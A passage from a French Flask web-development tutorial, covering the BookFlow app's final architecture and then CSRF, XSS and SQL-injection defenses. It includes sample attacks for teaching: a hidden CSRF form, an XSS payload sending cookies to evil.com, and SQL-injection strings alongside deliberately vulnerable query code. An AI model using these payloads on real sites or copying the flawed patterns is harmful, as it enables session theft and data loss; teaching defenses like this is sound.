              raise ValueError(f"Format invalide. Disponibles: {list(cls.EXPORTEURS)}")
          contenu = exporteur.exporter(livres)
          return Response(
              contenu,
              mimetype=exporteur.content_type(),
              headers={
                  'Content-Disposition': f'attachment; filename="livres.{exporteur.extension()}"'
              }
          )

  @api_livres_bp.route('/export', methods=['GET'])
  def exporter_livres():
      format_export = request.args.get('format', 'json').lower()
      livres = [l.to_dict() for l in Livre.actifs().all()]
      try:
          return ServiceExport.exporter(format_export, livres)
      except ValueError as e:
          return jsonify({'error': str(e)}), 400


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW ARCHITECTURE FINALE                  ║
║           app/__init__.py complet avec toute l'architecture                       ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

  # app/__init__.py — VERSION FINALE COMPLÈTE
  import os
  import logging
  from logging.handlers import RotatingFileHandler
  from flask import Flask, jsonify, request

  def create_app(config_name: str = None) -> Flask:
      """
      Application Factory — crée et configure l'application Flask BookFlow.

      Args:
          config_name : 'development', 'testing', 'production', 'default'

      Returns:
          Flask : L'application configurée et prête à servir
      """
      app = Flask(__name__, instance_relative_config=True)

      # ── 1. CONFIGURATION ──
      from .config import get_config
      config_name = config_name or os.getenv('FLASK_ENV', 'development')
      app.config.from_object(get_config(config_name))

      # ── 2. EXTENSIONS ──
      from .extensions import db, migrate, jwt, mail, cors, limiter, cache, ma
      db.init_app(app)
      migrate.init_app(app, db)
      jwt.init_app(app)
      mail.init_app(app)
      cors.init_app(app, resources={r"/api/*": {"origins": app.config.get('CORS_ORIGINS', ['*'])}})
      limiter.init_app(app)
      cache.init_app(app, config={'CACHE_TYPE': app.config.get('CACHE_TYPE', 'SimpleCache')})
      ma.init_app(app)

      # ── 3. MODÈLES (pour Flask-Migrate) ──
      with app.app_context():
          from . import models  # noqa

      # ── 4. HANDLERS JWT ──
      _configurer_jwt_handlers(app, jwt)

      # ── 5. ROUTES ──
      from .routes import enregistrer_blueprints
      enregistrer_blueprints(app)

      # ── 6. GESTIONNAIRES D'ERREURS ──
      from .errors import enregistrer_handlers_erreur
      enregistrer_handlers_erreur(app)

      # ── 7. HOOKS REQUÊTE ──
      _configurer_hooks(app)

      # ── 8. LOGGING ──
      _configurer_logging(app, config_name)

      # ── 9. EVENTS (si nécessaire) ──
      from .events import handlers  # Enregistre les handlers d'événements

      # ── 10. ROUTE DE SANTÉ ──
      @app.route('/health')
      @limiter.exempt
      def health():
          return jsonify({
              'status': 'OK',
              'app': app.config.get('APP_NAME', 'BookFlow API'),
              'version': app.config.get('APP_VERSION', '1.0.0'),
              'env': config_name
          })

      app.logger.info(f"BookFlow API démarrée [{config_name}]")
      return app

  def _configurer_jwt_handlers(app, jwt_manager):
      """Configure les callbacks d'erreur JWT."""
      @jwt_manager.expired_token_loader
      def expired(h, p):
          return jsonify({'error': 'Token expiré', 'code': 'TOKEN_EXPIRED'}), 401

      @jwt_manager.invalid_token_loader
      def invalid(r):
          return jsonify({'error': 'Token invalide', 'code': 'TOKEN_INVALID'}), 401

      @jwt_manager.unauthorized_loader
      def unauthorized(r):
          return jsonify({'error': 'Token requis', 'code': 'TOKEN_MISSING'}), 401

      @jwt_manager.revoked_token_loader
      def revoked(h, p):
          return jsonify({'error': 'Token révoqué', 'code': 'TOKEN_REVOKED'}), 401

      # Vérification blacklist
      from .models.token_revoque import TokenRevoque
      @jwt_manager.token_in_blocklist_loader
      def check_blacklist(h, p):
          return TokenRevoque.est_revoque(p.get('jti', ''))

  def _configurer_hooks(app):
      """Configure les hooks before/after_request."""
      import time, uuid
      from flask import g

      @app.before_request
      def debut_requete():
          g.debut = time.time()
          g.request_id = request.headers.get('X-Request-ID', str(uuid.uuid4()))

      @app.after_request
      def fin_requete(response):
          duree = int((time.time() - getattr(g, 'debut', time.time())) * 1000)
          response.headers['X-Request-ID']    = getattr(g, 'request_id', '')
          response.headers['X-Response-Time'] = f'{duree}ms'
          response.headers['X-API-Version']   = app.config.get('APP_VERSION', '1.0.0')
          return response

  def _configurer_logging(app, config_name):
      """Configure le système de logging."""
      niveau = logging.DEBUG if app.debug else logging.INFO
      app.logger.setLevel(niveau)

      fmt = logging.Formatter(
          '[%(asctime)s] %(levelname)s %(module)s : %(message)s',
          datefmt='%Y-%m-%d %H:%M:%S'
      )

      if not app.debug:
          os.makedirs('logs', exist_ok=True)
          handler = RotatingFileHandler('logs/bookflow.log', maxBytes=10*1024*1024, backupCount=10)
          handler.setFormatter(fmt)
          handler.setLevel(logging.INFO)
          app.logger.addHandler(handler)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 9 — ARCHITECTURE AVANCÉE

  [DOCS] Tu as appris :
     -> Blueprints avancés : enregistrement dynamique, imbriqués,
       before/after_request par blueprint, MethodView classes
     -> Structure professionnelle : 30+ dossiers et fichiers organisés,
       extensions.py centralisé, chaque couche a sa place
     -> Configuration avancée : DevelopmentConfig / TestingConfig /
       ProductionConfig avec validation, requirements séparés, Makefile
     -> Script seed_db.py : peupler la BDD avec des données de test réalistes
     -> Principes SOLID appliqués à Flask (S, O, L, I, D avec exemples)
     -> Repository Pattern générique (BaseRepository[T] typé)
     -> Factory Pattern : ReponseFactory, EmailFactory
     -> Observer / Event Bus : découplage via événements (livre.cree, emprunt.retard)
     -> Unit of Work Pattern : transactions atomiques
     -> Strategy Pattern : exporteurs CSV/JSON/XML interchangeables
     -> app/__init__.py complet avec 10 étapes d'initialisation

  -> Prochaine étape : Partie 10 — Sécurité Web (CSRF, XSS, hashing, HTTPS)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 10 : SÉCURITÉ WEB                       ║
║         CSRF, XSS, Injection SQL, HTTPS et Headers de Sécurité                   ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 10 / 20
Chapitres      : 36 -> 38
Prérequis      : Parties 1 à 9 (Flask complet, Auth, Architecture)
Projet fil     : BookFlow — Durcissement sécurité complet

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 10
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 36 — CSRF : Cross-Site Request Forgery
  CHAPITRE 37 — XSS : Cross-Site Scripting
  CHAPITRE 38 — Hachage, HTTPS, Headers de sécurité et audit

  PROJET FIL ROUGE — BookFlow : checklist de sécurité complète

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 36 — CSRF : CROSS-SITE REQUEST FORGERY                      ║
║         L'attaque silencieuse et comment la neutraliser complètement               ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE LE CSRF ?
────────────────────────
CSRF (Cross-Site Request Forgery) est une attaque qui force un utilisateur
authentifié à exécuter des actions non voulues sur un site où il est connecté.

MÉCANISME DE L'ATTAQUE :

  1. Alice est connectée sur bookflow.com (cookie de session actif)
  2. Alice visite un site malveillant evil.com
  3. evil.com contient ce code HTML caché :
     <img src="https://bookflow.com/api/admin/supprimer-livre?id=42">
     -> Le navigateur fait automatiquement une requête GET à bookflow.com
     -> Avec les cookies de session d'Alice !
     -> Le serveur pense que c'est Alice qui supprime ce livre

  ATTAQUE PLUS GRAVE AVEC FORMULAIRE :
     <form action="https://bookflow.com/api/utilisateurs/1/role" method="POST">
         <input type="hidden" name="role" value="admin">
     </form>
     <script>document.forms[0].submit()</script>
     -> Promouvoir Alice en admin sans qu'elle le sache !

POURQUOI CSRF FONCTIONNE :
  -> Les navigateurs envoient automatiquement les cookies avec chaque requête
  -> Le serveur ne peut pas distinguer une requête légitime d'une forgée
  -> L'attaquant n'a pas besoin de voler le cookie (il ne le voit jamais)

CSRF AFFECTE-T-IL LES API REST AVEC JWT ?
  -> NON si le JWT est dans l'en-tête Authorization (pas dans un cookie)
  -> Le navigateur n'envoie PAS automatiquement les en-têtes Authorization
  -> Seules les requêtes avec cookies sont vulnérables

  VULNÉRABLE au CSRF :
  -> Applications web avec sessions (cookies)
  -> JWT stocké dans un cookie

  IMMUNISÉ au CSRF :
  -> JWT dans le header Authorization: Bearer <token>
  -> (Car l'attaquant ne peut pas forger cet en-tête)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  PROTECTION CSRF — FLASK-WTF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask-WTF fournit une protection CSRF automatique pour les formulaires web.

CONFIGURATION :

  # app/__init__.py
  from flask_wtf.csrf import CSRFProtect, CSRFError

  csrf = CSRFProtect()

  def create_app(config_name='development'):
      app = Flask(__name__)
      # ...
      csrf.init_app(app)  # Active CSRF sur TOUS les formulaires POST

      # Gestionnaire d'erreur CSRF
      @app.errorhandler(CSRFError)
      def gerer_csrf_error(e):
          return jsonify({
              'error': 'Validation CSRF échouée',
              'detail': 'Token CSRF manquant ou invalide',
              'code': 'CSRF_ERROR'
          }), 400

      return app

  # config.py
  class Config:
      WTF_CSRF_ENABLED = True
      WTF_CSRF_TIME_LIMIT = 3600        # Token valide 1h
      WTF_CSRF_SSL_STRICT = False       # En dev
      # WTF_CSRF_SSL_STRICT = True      # En prod (requiert HTTPS)

  class TestingConfig(Config):
      WTF_CSRF_ENABLED = False          # Désactiver pour les tests

UTILISATION DANS LES TEMPLATES :

  {# Dans CHAQUE formulaire HTML : #}
  <form method="POST" action="/livres/nouveau">
      {{ form.hidden_tag() }}  {# Flask-WTF : génère le token CSRF automatiquement #}
      {# Ou manuellement : #}
      <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">

      <input type="text" name="titre">
      <button type="submit">Créer</button>
  </form>

  {# Le tag généré ressemble à : #}
  {# <input type="hidden" name="csrf_token" value="IjQ3ZGQ4ZT..."> #}

EXEMPTIONS CSRF (pour les API REST avec JWT) :

  from flask_wtf.csrf import csrf_exempt

  # Exempter une route spécifique
  @csrf_exempt
  @app.route('/api/v1/livres', methods=['POST'])
  def api_creer_livre():
      pass

  # Exempter un Blueprint entier (API REST)
  from app.routes.api.v1 import api_v1_bp
  csrf.exempt(api_v1_bp)

  # En pratique, on exempte tout le préfixe /api/
  # car l'API utilise JWT (pas de cookies)
  # et les formulaires web utilisent sessions (ont besoin de CSRF)

AJAX ET CSRF :

  # Pour les requêtes AJAX avec sessions, il faut envoyer le token CSRF
  # dans un header personnalisé

  # Dans le template, rendre le token disponible en JS :
  # <meta name="csrf-token" content="{{ csrf_token() }}">

  # Dans JavaScript :
  const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

  fetch('/livres', {
      method: 'POST',
      headers: {
          'Content-Type': 'application/json',
          'X-CSRFToken': csrfToken    // Header CSRF pour AJAX
      },
      body: JSON.stringify({titre: 'Dune'})
  });

  # Configurer Flask-WTF pour accepter le token dans les headers :
  # WTF_CSRF_HEADERS = ['X-CSRFToken', 'X-CSRF-Token']

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  PROTECTION CSRF — DOUBLE SUBMIT COOKIE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Pour les API avec JWT dans les cookies, on utilise le Double Submit Cookie.

PRINCIPE :
  1. Serveur génère un token CSRF aléatoire
  2. Token envoyé dans un cookie NON HttpOnly (accessible en JS)
  3. Le client JS lit le cookie et l'envoie dans un header
  4. Le serveur compare cookie et header -> doivent correspondre
  5. Un attaquant sur evil.com ne peut pas lire le cookie (Same-Origin Policy)

  # Flask-JWT-Extended supporte ça nativement avec JWT en cookies :
  app.config.update(
      JWT_TOKEN_LOCATION = ['cookies'],
      JWT_COOKIE_CSRF_PROTECT = True,
      JWT_CSRF_IN_COOKIES = True,
      JWT_ACCESS_CSRF_HEADER_NAME = 'X-CSRF-TOKEN',
      JWT_REFRESH_CSRF_HEADER_NAME = 'X-CSRF-TOKEN',
      JWT_COOKIE_SECURE = True,          # HTTPS seulement
      JWT_COOKIE_SAMESITE = 'Strict'     # Protection supplémentaire
  )

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  SAMESITE COOKIES — PROTECTION MODERNE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

L'attribut SameSite des cookies est la défense moderne contre CSRF.

  STRICT : Le cookie n'est jamais envoyé sur des requêtes cross-site
           -> Protection maximale mais casse certains flux (OAuth, liens)

  Lax    : Le cookie est envoyé sur navigation (liens), mais pas sur
           les requêtes automatiques (img, form POST cross-site)
           -> Bon équilibre (défaut moderne des navigateurs)

  None   : Cookie envoyé sur toutes les requêtes (ancien comportement)
           -> Nécessite Secure=True

  # Dans Flask, configurer les cookies de session :
  app.config.update(
      SESSION_COOKIE_SAMESITE = 'Lax',    # Ou 'Strict' pour plus de sécurité
      SESSION_COOKIE_SECURE   = True,      # HTTPS seulement (prod)
      SESSION_COOKIE_HTTPONLY = True,      # Non accessible en JS
      SESSION_COOKIE_NAME     = 'bookflow_session'
  )

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 36.1 : Démontrer la vulnérabilité CSRF sur une route de test.
    Crée une page evil.html qui fait un POST silencieux vers ta route.
    Observe que le serveur accepte la requête si pas de protection.

  Exercice 36.2 : Active Flask-WTF CSRF sur l'application web de BookFlow.
    Vérifie que le formulaire de login inclut {{ form.hidden_tag() }}.
    Teste qu'une soumission sans token -> 400 Bad Request.

  Exercice 36.3 : Exempte le Blueprint API de la protection CSRF.
    Vérifie que les routes API fonctionnent sans token CSRF
    mais que les routes web l'exigent.

NIVEAU INTERMÉDIAIRE :
  Exercice 36.4 : Implémente CSRF pour les requêtes AJAX.
    Ajoute <meta name="csrf-token"> dans base.html.
    Modifie le JS de recherche en temps réel pour envoyer X-CSRFToken.

  Exercice 36.5 : Configure les cookies SameSite pour toute l'application.
    Teste le comportement Lax vs Strict avec des requêtes cross-origin.

NIVEAU AVANCÉ :
  Exercice 36.6 : Implémente le Double Submit Cookie pour les JWT en cookies.
    Configure Flask-JWT-Extended en mode cookie avec CSRF activé.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 36.2 — Activation CSRF sur BookFlow web :

  # app/__init__.py
  from flask_wtf.csrf import CSRFProtect, CSRFError

  csrf = CSRFProtect()

  def create_app(config_name='development'):
      app = Flask(__name__)
      # ...
      csrf.init_app(app)

      @app.errorhandler(CSRFError)
      def csrf_error(e):
          # Pour les requêtes JSON (API), retourner JSON
          if request.is_json or request.path.startswith('/api/'):
              return jsonify({'error': 'Token CSRF invalide'}), 400
          # Pour les formulaires HTML, rediriger avec message
          from flask import flash, redirect, url_for
          flash('Session expirée. Veuillez réessayer.', 'warning')
          return redirect(request.referrer or url_for('web.index'))

      # Exempter l'API (utilise JWT, pas de cookies)
      from app.routes.api.v1 import api_v1_bp
      csrf.exempt(api_v1_bp)

      return app

  # templates/auth/login.html
  # <form method="POST">
  #     {{ form.hidden_tag() }}  <- Obligatoire !
  #     ...
  # </form>

CORRIGÉ 36.4 — AJAX avec CSRF :

  {# base.html — dans le <head> #}
  <meta name="csrf-token" content="{{ csrf_token() }}">

  {# static/js/main.js #}
  // Lire le token CSRF depuis la balise meta
  function getCsrfToken() {
      const meta = document.querySelector('meta[name="csrf-token"]');
      return meta ? meta.getAttribute('content') : '';
  }

  // Wrapper pour les requêtes AJAX avec CSRF
  async function fetchAvecCsrf(url, options = {}) {
      const defaultOptions = {
          headers: {
              'Content-Type': 'application/json',
              'X-CSRFToken': getCsrfToken()
          }
      };
      return fetch(url, {...defaultOptions, ...options, headers: {
          ...defaultOptions.headers,
          ...(options.headers || {})
      }});
  }

  // Utilisation :
  const response = await fetchAvecCsrf('/api/emprunts', {
      method: 'POST',
      body: JSON.stringify({livre_id: 3})
  });


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 37 — XSS : CROSS-SITE SCRIPTING                            ║
║         Injection de scripts malveillants et protections complètes                ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION ET TYPES DE XSS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE LE XSS ?
────────────────────────
XSS (Cross-Site Scripting) est une attaque qui injecte du code JavaScript
malveillant dans une page web vue par d'autres utilisateurs.

IMPACTS D'UNE ATTAQUE XSS RÉUSSIE :
  -> Voler les cookies de session (si non HttpOnly)
  -> Capturer les frappes clavier (keylogger)
  -> Rediriger vers un site de phishing
  -> Modifier l'affichage de la page
  -> Faire des requêtes en se faisant passer pour la victime
  -> Télécharger un malware

LES 3 TYPES DE XSS :

  TYPE 1 — REFLECTED XSS (Réfléchi)
  ────────────────────────────────────
  Le script malveillant vient de la requête HTTP actuelle.
  Souvent dans les paramètres URL ou les formulaires de recherche.

  URL malveillante :
  https://bookflow.com/recherche?q=<script>alert('XSS')</script>

  Si l'app affiche naïvement le paramètre q dans la page :
  <h1>Résultats pour : <script>alert('XSS')</script></h1>
  -> Le script s'exécute dans le navigateur de la victime !

  TYPE 2 — STORED XSS (Persistant) — LE PLUS DANGEREUX
  ───────────────────────────────────────────────────────
  Le script est stocké en BDD et affiché à tous les visiteurs.
  Exemple : un commentaire contenant du JavaScript.

  Commentaire posté par l'attaquant :
  "J'adore ce livre ! <script>document.location='https://evil.com/steal?c='+document.cookie</script>"

  Ce commentaire est sauvegardé en BDD.
  Chaque visiteur qui le lit -> son cookie est volé !

  TYPE 3 — DOM-BASED XSS
  ────────────────────────
  L'injection se fait via le DOM JavaScript, sans passer par le serveur.
  Vient de sources non fiables dans le DOM : location.hash, document.referrer, etc.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  PROTECTION XSS — AUTO-ESCAPE JINJA2
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Jinja2 échappe automatiquement les caractères HTML dangereux.
C'est la première ligne de défense.

  # Jinja2 auto-escape (activé par défaut avec Flask)
  # Si commentaire = "<script>alert('xss')</script>"

  {{ commentaire }}
  # Résultat HTML : &lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;
  # Affiché comme TEXTE, pas exécuté [OK]

  # POUR AFFICHER DU HTML EN TOUTE SÉCURITÉ :
  # Utiliser le filtre | safe SEULEMENT si tu as nettoyé le contenu toi-même !

  # [X] DANGER : n'utiliser | safe que si le contenu vient de TOI
  {{ contenu_html | safe }}  # Dangereux si contenu vient d'utilisateurs !

  # [OK] Pour afficher du HTML créé par les utilisateurs :
  # -> Utiliser une bibliothèque de sanitisation (bleach)

SANITISATION DU HTML AVEC BLEACH :

  pip install bleach

  import bleach

  # Tags et attributs HTML autorisés (liste blanche)
  TAGS_AUTORISES = [
      'b', 'i', 'u', 'em', 'strong', 'p', 'br',
      'ul', 'ol', 'li', 'a', 'blockquote', 'code', 'pre'
  ]
  ATTRIBUTS_AUTORISES = {
      'a': ['href', 'title'],
      '*': ['class']
  }

  def nettoyer_html(contenu_brut: str) -> str:
      """
      Nettoie le HTML pour éviter les injections XSS.
      Supprime les tags/attributs dangereux, garde le contenu sûr.
      """
      if not contenu_brut:
          return ''

      # 1. Échapper tout le HTML
      contenu_propre = bleach.clean(
          contenu_brut,
          tags=TAGS_AUTORISES,
          attributes=ATTRIBUTS_AUTORISES,
          strip=True       # Supprimer les tags non autorisés (pas juste les encoder)
      )

      # 2. Transformer les URLs en liens cliquables (optionnel)
      # contenu_propre = bleach.linkify(contenu_propre)

      return contenu_propre

  # Utilisation dans le modèle :
  class Avis(db.Model):
      _commentaire_brut = db.Column('commentaire', db.Text)

      @property
      def commentaire(self):
          """Retourne le commentaire nettoyé."""
          return nettoyer_html(self._commentaire_brut)

      @commentaire.setter
      def commentaire(self, valeur):
          """Stocke le commentaire brut (nettoyé à l'affichage)."""
          self._commentaire_brut = valeur

  # Dans le template Jinja2 :
  {# Le commentaire est propre, on peut l'afficher comme HTML #}
  <div class="commentaire">{{ avis.commentaire | safe }}</div>

  # Alternative : nettoyage à l'insertion (avant de stocker en BDD)
  @api_livres_bp.route('/<int:id>/avis', methods=['POST'])
  def creer_avis(id):
      data = request.get_json()
      commentaire = bleach.clean(
          data.get('commentaire', ''),
          tags=['b', 'i', 'em', 'strong'],
          strip=True
      )
      avis = Avis(commentaire=commentaire, ...)
      # ...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  CONTENT SECURITY POLICY (CSP)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

La Content Security Policy est un en-tête HTTP qui dit au navigateur
quelles sources sont autorisées pour les scripts, styles, images, etc.

C'est la défense la plus puissante contre XSS :
Même si un script est injecté, le navigateur refuse de l'exécuter
si la source n'est pas dans la whitelist CSP.

  # app/utils/security_headers.py

  def generer_csp(env: str = 'production') -> str:
      """
      Génère la Content Security Policy.

      Directives principales :
        default-src : Source par défaut pour tout ce qui n'a pas de directive spécifique
        script-src  : Sources autorisées pour JavaScript
        style-src   : Sources autorisées pour CSS
        img-src     : Sources autorisées pour les images
        connect-src : Sources autorisées pour les requêtes AJAX/fetch/WebSocket
        font-src    : Sources autorisées pour les polices
        frame-src   : Sources autorisées pour les iframes (DENY = aucune)
        object-src  : Sources autorisées pour Flash/plugins (NONE = interdit)
      """
      if env == 'development':
          # En développement : plus permissif pour faciliter le debug
          return (
              "default-src 'self'; "
              "script-src 'self' 'unsafe-inline' 'unsafe-eval' "
              "  https://cdnjs.cloudflare.com; "
              "style-src 'self' 'unsafe-inline' "
              "  https://fonts.googleapis.com; "
              "font-src 'self' https://fonts.gstatic.com; "
              "img-src 'self' data: https:; "
              "connect-src 'self'; "
          )
      else:
          # En production : strict
          return (
              "default-src 'self'; "
              "script-src 'self' "
              "  https://cdnjs.cloudflare.com; "   # CDN pour les libs JS
              "style-src 'self' "
              "  https://fonts.googleapis.com; "
              "font-src 'self' https://fonts.gstatic.com; "
              "img-src 'self' data: https://cdn.bookflow.com; "
              "connect-src 'self' https://api.bookflow.com; "
              "frame-src 'none'; "               # Interdit les iframes
              "object-src 'none'; "              # Interdit Flash/plugins
              "base-uri 'self'; "               # Interdit les injections <base>
              "form-action 'self'; "            # Les forms ne peuvent envoyer qu'à notre domaine
              "upgrade-insecure-requests; "     # Force HTTPS pour les ressources HTTP
          )

  def ajouter_headers_securite(response, app):
      """
      Ajoute les headers de sécurité à toutes les réponses.
      À appeler dans after_request.
      """
      env = app.config.get('ENV', 'production')

      # ── Content Security Policy ──
      response.headers['Content-Security-Policy'] = generer_csp(env)

      # ── XSS Protection (navigateurs anciens) ──
      response.headers['X-XSS-Protection'] = '1; mode=block'

      # ── Empêcher le sniffing MIME ──
      response.headers['X-Content-Type-Options'] = 'nosniff'

      # ── Clickjacking ──
      response.headers['X-Frame-Options'] = 'DENY'

      # ── HTTPS strict (HSTS) ──
      if not app.debug:
          response.headers['Strict-Transport-Security'] = (
              'max-age=31536000; includeSubDomains; preload'
          )

      # ── Politique de référant ──
      response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'

      # ── Permissions (désactiver les APIs dangereuses) ──
      response.headers['Permissions-Policy'] = (
          'camera=(), microphone=(), geolocation=(), '
          'payment=(), usb=(), magnetometer=()'
      )

      return response

  # Enregistrer dans create_app() :
  @app.after_request
  def headers_securite(response):
      return ajouter_headers_securite(response, app)

  # Avec Flask-Talisman (alternative simplifiée) :
  # pip install flask-talisman
  from flask_talisman import Talisman

  talisman = Talisman(
      app,
      content_security_policy={
          'default-src': "'self'",
          'script-src': ["'self'", 'cdnjs.cloudflare.com'],
      },
      force_https=True,               # Force HTTPS
      strict_transport_security=True,  # HSTS
      session_cookie_secure=True,
      frame_options='DENY'
  )

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  XSS DANS LES API JSON (DOM XSS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les API JSON ne sont pas directement vulnérables au XSS traditionnel
(pas de rendu HTML côté serveur), mais le frontend qui consomme l'API peut l'être.

PROTECTIONS CÔTÉ API :

  # 1. Toujours retourner application/json (pas text/html)
  @app.after_request
  def forcer_json_content_type(response):
      if '/api/' in request.path and response.content_type == 'text/html':
          response.content_type = 'application/json; charset=utf-8'
      return response

  # 2. Encoder les caractères JSON dangereux
  # Flask encode automatiquement < > & par défaut (JSON_SORT_KEYS=True)
  # Pour être explicite :
  app.config['JSON_ENSURE_ASCII'] = False  # Garde les accents
  app.config['JSON_SORT_KEYS'] = False

  # 3. Ajouter X-Content-Type-Options pour empêcher le sniffing
  response.headers['X-Content-Type-Options'] = 'nosniff'

PROTECTION CONTRE L'INJECTION DANS LES DONNÉES JSON :

  # Fonction de sanitisation pour les données utilisateur
  import html

  def assainir_chaine(valeur: str, max_longueur: int = None) -> str:
      """
      Nettoie une chaîne de caractères pour stockage sécurisé.
      """
      if not isinstance(valeur, str):
          return valeur

      # Supprimer les caractères de contrôle
      valeur = ''.join(c for c in valeur if ord(c) >= 32 or c in '\n\r\t')

      # Normaliser les espaces multiples
      import re
      valeur = re.sub(r'[ \t]+', ' ', valeur).strip()

      # Tronquer si nécessaire
      if max_longueur and len(valeur) > max_longueur:
          valeur = valeur[:max_longueur]

      return valeur

  # Utiliser dans les schémas Marshmallow :
  from marshmallow import fields, pre_load

  class AvisSchema(ma.Schema):
      commentaire = fields.String(allow_none=True)

      @pre_load
      def nettoyer_entrees(self, data, **kwargs):
          """Nettoie les données avant validation."""
          if 'commentaire' in data and data['commentaire']:
              data['commentaire'] = assainir_chaine(
                  data['commentaire'],
                  max_longueur=2000
              )
          return data

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  INJECTION SQL — RAPPEL ET DÉFENSES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE L'INJECTION SQL ?
─────────────────────────────────
L'injection SQL permet à un attaquant d'insérer du SQL dans les requêtes
pour lire, modifier ou supprimer des données en BDD.

EXEMPLE D'ATTAQUE :
  Champ login : admin' OR '1'='1' --
  Requête générée : SELECT * FROM users WHERE email='admin' OR '1'='1' --' AND password='...'
  -> La condition '1'='1' est toujours vraie -> connexion sans mot de passe !

AVEC SQLALCHEMY ORM — IMMUNISÉ PAR DÉFAUT :
  # SQLAlchemy utilise des paramètres liés (prepared statements)
  # Il est IMPOSSIBLE de faire une injection SQL avec :
  Livre.query.filter_by(titre=titre_saisi)
  Livre.query.filter(Livre.auteur == auteur_saisi)
  db.session.execute(text("SELECT * FROM livres WHERE id = :id"), {'id': livre_id})
  # SQLAlchemy échappe automatiquement toutes les valeurs [OK]

DANGER : LES REQUÊTES SQL BRUTES SANS PARAMÈTRES

  # [X] DANGER : injection possible
  query = f"SELECT * FROM livres WHERE titre = '{titre_saisi}'"
  db.session.execute(text(query))

  # [OK] SÉCURISÉ : paramètres liés
  db.session.execute(
      text("SELECT * FROM livres WHERE titre = :titre"),
      {'titre': titre_saisi}
  )

  # [X] DANGER : ORDER BY dynamique sans validation
  sort_field = request.args.get('sort', 'titre')
  query = f"SELECT * FROM livres ORDER BY {sort_field}"
  # L'attaquant peut envoyer sort=id; DROP TABLE livres; --

  # [OK] SÉCURISÉ : liste blanche des champs de tri
  CHAMPS_TRI_AUTORISES = ['titre', 'auteur', 'pages', 'created_at']
  sort_field = request.args.get('sort', 'titre')
  if sort_field not in CHAMPS_TRI_AUTORISES:
      sort_field = 'titre'  # Valeur par défaut sécurisée
  # Puis utiliser SQLAlchemy normalement

  # [OK] Avec SQLAlchemy dynamique (sécurisé) :
  champ = getattr(Livre, sort_field, Livre.titre)  # Attribut SQLAlchemy
  Livre.query.order_by(champ.asc()).all()           # Pas d'injection possible

MESURES SUPPLÉMENTAIRES :

  # 1. Principe du moindre privilège pour la BDD
  # L'utilisateur BDD de l'app ne devrait pas avoir TOUS les droits :
  # GRANT SELECT, INSERT, UPDATE, DELETE ON bookflow.* TO bookflow_app@localhost;
  # PAS : GRANT ALL PRIVILEGES ... <- Trop dangereux

  # 2. Logs des requêtes SQL (détection d'anomalies)
  app.config['SQLALCHEMY_ECHO'] = True  # Dev seulement

